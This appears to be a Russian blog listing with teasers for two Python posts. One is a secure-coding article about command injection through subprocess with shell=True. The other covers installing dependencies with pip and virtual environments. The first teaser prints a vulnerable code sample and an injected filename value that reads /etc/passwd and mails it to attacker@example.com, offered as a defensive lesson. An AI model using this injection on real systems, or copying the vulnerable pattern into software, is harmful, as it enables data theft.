Уязвимости и безопасность в Python: разбор критических ошибок и стратегии защиты
Использование subprocess.call, os.system или popen с невалидируемым пользовательским вводом — частая ошибка. Пример: python Copy Download import subprocess def transcode_file(filename): command = f'ffmpeg -i "{filename}" output.mpg' # Уязвимость! subprocess.call(command, shell=True) # Параметр shell=True опасен Угроза: Злоумышленник может передать filename вида "; cat /etc/passwd | mail attacker@example.com, выполнив произвольные команды. Решение: python Copy Download subprocess.call(['ffmpeg', '-i', shlex...
1 месяц назад
Как установить зависимости в python
Установка зависимостей в Python — это ключевой шаг в работе с любым проектом. Зависимости (или пакеты/библиотеки) — это сторонний код, который ваш проект использует для выполнения определенных задач. Правильное управление ими критически важно для воспроизводимости и стабильности вашего проекта. В Python для этого в основном используются два инструмента: Pip: Стандартный менеджер пакетов Python. Виртуальные окружения (Venv или Conda): Рекомендуемый способ изоляции зависимостей для разных проектов...